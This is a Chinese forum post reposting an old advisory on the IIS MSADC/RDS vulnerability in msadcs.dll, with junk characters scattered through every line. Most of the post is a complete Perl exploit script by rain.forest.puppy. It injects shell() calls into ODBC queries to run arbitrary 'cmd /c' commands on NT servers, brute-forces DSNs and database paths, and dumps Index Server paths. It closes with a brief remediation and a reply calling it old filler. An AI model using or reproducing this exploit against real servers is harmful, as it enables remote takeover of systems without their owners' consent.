社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 166752阅读
  • 1回复

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 9;XbyA]  
V C VqUCc  
涉及程序: {@L{l1|0  
Microsoft NT server u q 9mq"  
<<S4l~"o  
描述: cd,'37pZ  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 cHr]{@7Cs  
YIW9z{rrs  
详细: XsJ`x  
如果你没有时间读详细内容的话,就删除: d(t)8k$  
c:\Program Files\Common Files\System\Msadc\msadcs.dll Y_faqmZ 9]  
有关的安全问题就没有了。 =>PX~/o  
ynra%"sd  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 {(-923|,  
z^gz kXx7  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 j,].88H  
关于利用ODBC远程漏洞的描述,请参看: +7OE,RoQ  
4d@0v n{  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm l2W+VBn6  
Z\C"/j<y  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 rkS'OC  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp &/uakkS  
RgFpc*.T  
这里不再论述。 l]DRJ  
=>Ae]mi 7  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: /oe0  
@.cord`  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 6C.!+km  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! P[H`]q|  
n}Thc6f3D  
|af<2(d  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ;QuxTmWp^  
6k,@+ @]t.  
#!perl 24InwR|^  
# OdyL j  
# MSADC/RDS 'usage' (aka exploit) script  A|IPQ=  
# jyg>'"W  
# by rain.forest.puppy D.AiqO<z  
# HSG9|}$  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me AS0(NlV  
# beta test and find errors! Jp)PKS ![  
ocW`sE?EED  
use Socket; use Getopt::Std; UlN}SddI9  
getopts("e:vd:h:XR", \%args); ,trh)ZZYW|  
YA8/TFu<_  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; Ca"i<[8  
!Y^$rF-+  
if (!defined $args{h} && !defined $args{R}) { S#+ _HFUK{  
print qq~ )CL/%I,^  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 35-FD{  
-h <host> = host you want to scan (ip or domain) *Z"Kvj;>u  
-d <seconds> = delay between calls, default 1 second /Jk.b/t.*S  
-X = dump Index Server path table, if available %iV\nFal>  
-v = verbose $\4Or  
-e = external dictionary file for step 5 z5:3.+M5  
 :i?c  
Or a -R will resume a command session a3Z()|t>  
Grd9yLF  
~; exit;} `n|k+tsC  
IfRrl/!nw  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; %ULd_ES^  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} "J >, Hr9  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} JLyFk V/  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 84Hm PPt  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} WFeaX7\b  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } Yic'p0< ?V  
mW_A 3S5  
if (!defined $args{R}){ $ret = &has_msadc; t.O4-+$ig  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} /s:akLBaD  
5o(=?dXm4  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" v g tJ+GjN  
. "cmd /c "; m} =<@b:l  
$in=<STDIN>; chomp $in; +fIy eX  
$command="cmd /c " . $in ; S 1Ji\  
x2f_>tu2  
if (defined $args{R}) {&load; exit;} |4Q><6"G  
Q;1$gImFz  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; R91u6r#  
&try_btcustmr; uoBPi[nK  
b;|^62  
print "\nStep 2: Trying to make our own DSN..."; eP3 itrH(  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; :\1&5Pm]  
:TWHmxch  
print "\nStep 3: Trying known DSNs..."; }S&SL)  
&known_dsn; `+@%l*TQ  
[c6_6q As  
print "\nStep 4: Trying known .mdbs..."; Fn%:0j  
&known_mdb; F{<r IR  
r?2C%GI`  
if (defined $args{e}){ ]7"mt2Q=3  
print "\nStep 5: Trying dictionary of DSN names..."; &jPsdv h  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 5O%}.}n  
|b7>kM}"  
print "Sorry Charley...maybe next time?\n"; X}bgRzj  
exit; %s)E}cGH  
[K9q+  
############################################################################## E3KPJ`=!*"  
&c@I4RV|q  
sub sendraw { # ripped and modded from whisker QnOa?0HL/  
sleep($delay); # it's a DoS on the server! At least on mine... p|bpE F=U  
my ($pstr)=@_; ]g+(#x_.?  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || IweQB}d  
die("Socket problems\n"); uTJ?@ ^nq  
if(connect(S,pack "SnA4x8",2,80,$target)){ Cw^)}23R  
select(S); $|=1; Wj*6}N/  
print $pstr; my @in=<S>; wy&*6>.  
select(STDOUT); close(S); T@ HozZ  
return @in; #QDV_ziE5  
} else { die("Can't connect...\n"); }} -s!PO;qm  
pcl _$2_  
############################################################################## SoY&R=  
|$0/:*  
sub make_header { # make the HTTP request i\eykYc,  
my $msadc=<<EOT 9_/1TjrDN  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 Q Y fS-  
User-Agent: ACTIVEDATA 6qA{l_V  
Host: $ip p_(hM&>C  
Content-Length: $clen  G0&w#j  
Connection: Keep-Alive mLYB6   
'}Y8a$(;V  
ADCClientVersion:01.06 =gqZ^v&5U  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ?3, *  
?8nG F%p  
--!ADM!ROX!YOUR!WORLD! RGKJO_*J2  
Content-Type: application/x-varg tr}$82Po  
Content-Length: $reqlen tw')2UGg  
+]_} \  
EOT 8UZE C-K  
; $msadc=~s/\n/\r\n/g; C|JWom\J  
return $msadc;} 1|89-Ii]  
Z n!SHj  
############################################################################## U\z+{]<<  
?0<3"2Db~  
sub make_req { # make the RDS request  t|DYz#]  
my ($switch, $p1, $p2)=@_; 5VcYdu3  
my $req=""; my $t1, $t2, $query, $dsn; 3WVHI$A9  
1FX-#Y`e  
if ($switch==1){ # this is the btcustmr.mdb query }bTMeCgI  
$query="Select * from Customers where City=" . make_shell(); eyWwE%  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 1WKDG~  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} "8X+F%  
btE+.V  
elsif ($switch==2){ # this is general make table query M/qiA.C@W  
$query="create table AZZ (B int, C varchar(10))"; h^)2:0#{I  
$dsn="$p1";} o_5@R+&  
s'^#[%EgB  
elsif ($switch==3){ # this is general exploit table query s5dh]vNN  
$query="select * from AZZ where C=" . make_shell(); Lsz`nD5  
$dsn="$p1";} a`uT'g[*  
1,J.  
elsif ($switch==4){ # attempt to hork file info from index server x@ O:  
$query="select path from scope()"; wtKh8^:YD  
$dsn="Provider=MSIDXS;";} (qrT0D6  
9+']`=a:  
elsif ($switch==5){ # bad query 5W48z%MN  
$query="select"; fYi!Z/Ck2  
$dsn="$p1";} VGq]id{*$  
y()( 8L  
$t1= make_unicode($query); UTt#ltun?  
$t2= make_unicode($dsn); Id0F2  [  
$req = "\x02\x00\x03\x00"; ;a`X|N9  
$req.= "\x08\x00" . pack ("S1", length($t1)); ~83P09\T%  
$req.= "\x00\x00" . $t1 ; 1DP)6{x  
$req.= "\x08\x00" . pack ("S1", length($t2)); yN.D(ZwF:  
$req.= "\x00\x00" . $t2 ; G dU W$.  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; %ab79RS]C  
return $req;}  df'g},_  
YovY0nO  
############################################################################## ZIp=JR8o$  
K36B9<F  
sub make_shell { # this makes the shell() statement :Eyv==  
return "'|shell(\"$command\")|'";} LayU)TIt  
di 5_5_$`o  
############################################################################## A@OV!DJe]  
1c!},O  
sub make_unicode { # quick little function to convert to unicode ap~Iz  
my ($in)=@_; my $out; xTMTkVa+B  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } [)A#9L~s=  
return $out;} *&]l  
2LU'C,o?  
############################################################################## P>-,6a>  
$EIkk= z  
sub rdo_success { # checks for RDO return success (this is kludge) ]N_^{k,  
my (@in) = @_; my $base=content_start(@in); }TW=eu~  
if($in[$base]=~/multipart\/mixed/){ s_LSs yqo  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} A\)X&vR[6  
return 0;} ,GIqRT4K  
YP,PJnJU8  
############################################################################## t^5_;sJQ  
Bl];^W^P  
sub make_dsn { # this makes a DSN for us 6pR#z@,  
my @drives=("c","d","e","f"); aw1J#5j`n  
print "\nMaking DSN: "; HV.7IyBA^  
foreach $drive (@drives) { X;:xGZ-oY  
print "$drive: "; P}`1#$  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . h :R)KM  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 8B/9{8  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); @ `D6F;R  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 'wrpW#  
return 0 if $2 eq "404"; # not found/doesn't exist tqCg<NH.!m  
if($2 eq "200") { 6,1|y%(f  
foreach $line (@results) { 5QJL0fc  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} h$\h PLx  
} return 0;} qGCg3u6  
[udV }  
############################################################################## Y +54z/{  
Yur)_m  
sub verify_exists { sEyl\GL  
my ($page)=@_; "lf3hWGw  
my @results=sendraw("GET $page HTTP/1.0\n\n"); nn4Sy,cz  
return $results[0];} .`N` M9  
f*}E\,V"&  
############################################################################## C/Bx_j((  
>:&p(eu)L0  
sub try_btcustmr { bU`yymf{L  
my @drives=("c","d","e","f"); P'9io!Z-s  
my @dirs=("winnt","winnt35","winnt351","win","windows"); M) XQi/  
m?$G(E5  
foreach $dir (@dirs) { x)ZH;)  
print "$dir -> "; # fun status so you can see progress z,YUguc|  
foreach $drive (@drives) { S=SncMO nE  
print "$drive: "; # ditto Fjt,  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; agT[y/gb  
$reqlenlen=length( "$reqlen" ); *%'7~58ObS  
$clen= 206 + $reqlenlen + $reqlen; [Od9,XBa  
.WyX/E$I^!  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); BrMp_M  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} bCUh^#]x  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} os^SD&hL  
M|e n>P  
############################################################################## 9= $,]M  
=3dbw8I  
sub odbc_error { Ia:puks=  
my (@in)=@_; my $base; mIEaWE;E"  
my $base = content_start(@in); 9R"N#w.U]  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this ik0Q^^1?Y  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; h_G Bx|c  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ]f-'A>MC  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; -01 1U!  
return $in[$base+4].$in[$base+5].$in[$base+6];} L$c%u  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; f?^Oy!1]  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 9~%]|_(  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} PFgjWp"Y  
l'". }6S  
############################################################################## QYw4kD}  
 >E ;o"  
sub verbose { edk9Qd9  
my ($in)=@_; 8;f<qu|w  
return if !$verbose; PG[O?l  
print STDOUT "\n$in\n";} 5>[sCl-  
o+Ti$`2<O7  
############################################################################## X3L[y\  
3nC#$L-   
sub save { s1 ^mk]  
my ($p1, $p2, $p3, $p4)=@_; pjs9b%.  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; c0Ro3j\p  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; \ +-hn  
close OUT;} =)1YYJTe9  
$o$Ev@mi  
############################################################################## jsi#l  
c$<O0dI  
sub load { To{G#QEgG  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ) a\DS yr  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); #0<y0uJ(y  
@p=<IN>; close(IN); IH5} Az  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); q '{<c3&  
$target= inet_aton($ip) || die("inet_aton problems"); dzE Q$u/I  
print "Resuming to $ip ..."; ?$@ KwA  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; m-S33PG{  
if($p[1]==1) { ;E?  hz  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; YEPG[W<kg  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 5OW8G][  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); b|8>eY  
if (rdo_success(@results)){print "Success!\n";} *5_ 8\7d  
else { print "failed\n"; verbose(odbc_error(@results));}} y_4krY|Zx  
elsif ($p[1]==3){ 2|H91Y2  
if(run_query("$p[3]")){ ;n7|.O]*  
print "Success!\n";} else { print "failed\n"; }} K!D!b'|bb  
elsif ($p[1]==4){ Pzm!`F^r}  
if(run_query($drvst . "$p[3]")){ Re,$<9V  
print "Success!\n"; } else { print "failed\n"; }} pg}+lYGP  
exit;} .UhBvHH  
ZDkD%SCy  
############################################################################## ,dj* p ,J  
CVSsB:H6e  
sub create_table { s@)"IdSA(  
my ($in)=@_; 1s}NQ3  
$reqlen=length( make_req(2,$in,"") ) - 28; fov=Yd!  
$reqlenlen=length( "$reqlen" ); &c<}++'h  
$clen= 206 + $reqlenlen + $reqlen; @FdCbPl$  
my @results=sendraw(make_header() . make_req(2,$in,"")); yK%GsCJd:  
return 1 if rdo_success(@results); <X I35\^  
my $temp= odbc_error(@results); verbose($temp); 4>"cc@8&~  
return 1 if $temp=~/Table 'AZZ' already exists/; q'Pz3/mk  
return 0;} Ux)p%-  
t3#H@0<  
############################################################################## 'f?&EsIV?  
ADv"_bB:h  
sub known_dsn { KIAe36.~  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go '=K of1  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", VkTlPmr  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", VM]GYz|#]  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); o ,Tr^e$  
_+Jf.n20  
foreach $dSn (@dsns) { |1QbO`f/F  
print "."; BheEI;}  
next if (!is_access("DSN=$dSn")); B/sBYVU  
if(create_table("DSN=$dSn")){ [*?_  
print "$dSn successful\n"; }@:QYTBi }  
if(run_query("DSN=$dSn")){ |:e|~sism  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { H ?`)[#  
print "Something's borked. Use verbose next time\n";}}} print "\n";} u $% D9Z^  
# +QWi0B  
############################################################################## =(|xU?OL  
[C+Gmu  
sub is_access { ANFg]g.Az  
my ($in)=@_; 2 %{YYT   
$reqlen=length( make_req(5,$in,"") ) - 28; n(Q\' ,C  
$reqlenlen=length( "$reqlen" ); sR>`QIi(a  
$clen= 206 + $reqlenlen + $reqlen; uFm+Y]h  
my @results=sendraw(make_header() . make_req(5,$in,"")); orB8Q\p'  
my $temp= odbc_error(@results); KCJN<  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); ?9(o*lp  
return 0;} da00p-U  
hSkc9jBF  
############################################################################## @Ge>i5q  
Pn+IJ=0Y  
sub run_query { PHRGhKJW})  
my ($in)=@_; 9b"9m*gC  
$reqlen=length( make_req(3,$in,"") ) - 28; `s>UU- 9  
$reqlenlen=length( "$reqlen" ); 4{*tn"y  
$clen= 206 + $reqlenlen + $reqlen; %su}Ru  
my @results=sendraw(make_header() . make_req(3,$in,"")); L8bI0a]r"*  
return 1 if rdo_success(@results); {HIR>])o  
my $temp= odbc_error(@results); verbose($temp); EREolCASb  
return 0;} +-H}s`  
43J\8WBn@  
############################################################################## $c@w$2  
ol$2sI=.s  
sub known_mdb { BLL]^qN;Y  
my @drives=("c","d","e","f","g"); Q$|^~  
my @dirs=("winnt","winnt35","winnt351","win","windows"); |-(IJG#)  
my $dir, $drive, $mdb; jJ*@5?A  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; XdGpW  
z29qARiX  
# this is sparse, because I don't know of many pK6e/eC  
my @sysmdbs=( "\\catroot\\icatalog.mdb", mfeMmKFu\  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", %ezb^O_6v  
"\\system32\\certmdb.mdb", S]e j=6SP  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% uq!;  
6WE&((r ^  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", "K|)<6J  
"\\cfusion\\cfapps\\forums\\forums_.mdb", gf68iR.Gs  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", p{ @CoOn  
"\\cfusion\\cfapps\\security\\realm_.mdb", ]g;^w?9h  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", J+)'-OFt0  
"\\cfusion\\database\\cfexamples.mdb", MvFM ,  
"\\cfusion\\database\\cfsnippets.mdb", J$#h( D%  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", &jV9*  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", >H0) ph  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 5q|+p?C  
"\\cfusion\\database\\smpolicy.mdb", \!+-4,CbZY  
"\\cfusion\\database\cypress.mdb", x],8yR)R  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", ~lzdbX  
"\\website\\cgi-win\\dbsample.mdb", Yz&*PPx  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", xab]q$n]k  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" 87QZun%  
); #these are just ="uKWt6n'  
foreach $drive (@drives) { V I6\   
foreach $dir (@dirs){ M"=8O>NZ2  
foreach $mdb (@sysmdbs) { CY*ngi&  
print "."; EKZ$Q4YE  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ s<A*[  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; Q~fwWp-J  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ hq/J6 M  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; T*h!d(  
} else { print "Something's borked. Use verbose next time\n"; }}}}} `%-4>jI9-  
p= !#],[  
foreach $drive (@drives) { 1s#yWQ   
foreach $mdb (@mdbs) { ![^EsgEB*  
print "."; ,f} h}  
if(create_table($drv . $drive . $dir . $mdb)){ 0o=!j3RjH  
print "\n" . $drive . $dir . $mdb . " successful\n"; Eo%UuSi  
if(run_query($drv . $drive . $dir . $mdb)){ +yzcx3<  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; Tr}R`6d$  
} else { print "Something's borked. Use verbose next time\n"; }}}}  MKU7fFN.  
} u-m%=2  
m)s xotgXf  
############################################################################## w[ Axs8N'  
{mNdL J  
sub hork_idx { Q]< (bD.7  
print "\nAttempting to dump Index Server tables...\n"; +"'F Be  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ]]>nbgGn#  
$reqlen=length( make_req(4,"","") ) - 28; H76E+AY  
$reqlenlen=length( "$reqlen" ); ecn}iN  
$clen= 206 + $reqlenlen + $reqlen; :/+>e IE  
my @results=sendraw2(make_header() . make_req(4,"","")); 2 9q?$V(  
if (rdo_success(@results)){ +0VG[ c\8  
my $max=@results; my $c; my %d; t,RyeS/  
for($c=19; $c<$max; $c++){ q1H=/[a  
$results[$c]=~s/\x00//g; TbOJp  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; (nGkZ}p  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; ]Z _$'?f  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; l;Q >b]DZ  
$d{"$1$2"}="";}  ylk{!  
foreach $c (keys %d){ print "$c\n"; } cL#-*_(  
} else {print "Index server doesn't seem to be installed.\n"; }} cv3L&zg M  
3 h#s([uL  
############################################################################## r,5-XB  
$4=Ne3 y  
sub dsn_dict { aSUsyOe  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); yL.^ =  
while(<IN>){ gWkjUz )  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; .N5'.3  
next if (!is_access("DSN=$dSn")); S#k{e72 *  
if(create_table("DSN=$dSn")){ .>P~uZiX!  
print "$dSn successful\n"; !~WZ_z  
if(run_query("DSN=$dSn")){ *2`:VFEV  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ^%;"[r  
print "Something's borked. Use verbose next time\n";}}} [q'eEN G  
print "\n"; close(IN);} v{o? #Sk1  
#zxd;;p3  
############################################################################## ?FN9rhAC  
<KtBv Ip]  
sub sendraw2 { # ripped and modded from whisker L/BHexOB  
sleep($delay); # it's a DoS on the server! At least on mine... a2o.a 2  
my ($pstr)=@_; J;~E<_"Hn  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || wS V@=)H\:  
die("Socket problems\n"); Vb2\/e:k  
if(connect(S,pack "SnA4x8",2,80,$target)){ GA\2i0ow  
print "Connected. Getting data"; >5.zk1&H  
open(OUT,">raw.out"); my @in; q3+I<qsAz  
select(S); $|=1; print $pstr; G;NB\3 ~X  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} AP0|z  
close(OUT); select(STDOUT); close(S); return @in; Hq?&Qo  
} else { die("Can't connect...\n"); }} yxvjg\!&  
PcB{ = L  
############################################################################## `NQ{)N0!  
fWj@e"G  
sub content_start { # this will take in the server headers zrrz<dW  
my (@in)=@_; my $c; ,ijW(95{k  
for ($c=1;$c<500;$c++) { Qwv '<  
if($in[$c] =~/^\x0d\x0a/){ ;|!MI'Af  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } Oxv+1Ub<Dv  
else { return $c+1; }}} !Av1Leb9$  
return -1;} # it should never get here actually KY g3U  
&Pq\cNYzW  
############################################################################## 088C|  
`E W!-v)  
sub funky { frc{>u~t  
my (@in)=@_; my $error=odbc_error(@in); E67XPvo1+@  
if($error=~/ADO could not find the specified provider/){ MKC$;>i  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 7/?DPwbx  
exit;} Y%g "Y  
if($error=~/A Handler is required/){ V9T 4 +  
print "\nServer has custom handler filters (they most likely are patched)\n"; N<liS3>  
exit;} $@2"{9Z  
if($error=~/specified Handler has denied Access/){ y@A6$[%(E|  
print "\nServer has custom handler filters (they most likely are patched)\n"; yp p4L|R  
exit;}} b66R}=P l  
< eQ[kM  
############################################################################## ~ M*gsW$  
x%6hM |U  
sub has_msadc { |{f~Ks%  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); < Y>3  
my $base=content_start(@results); GJ`UO  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 59i]  
return 0;} E*k([ZL  
~C| ,b"  
######################## :tLbFW[  
BI.V0@qZ  
:Fw?{0  
解决方案: ZMdW2_*F   
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll fa{@$ppx  
2、移除web 目录: /msadc
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 P}@*Z>j:#  
&@6 GI<  
拿出来充数 哈哈
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八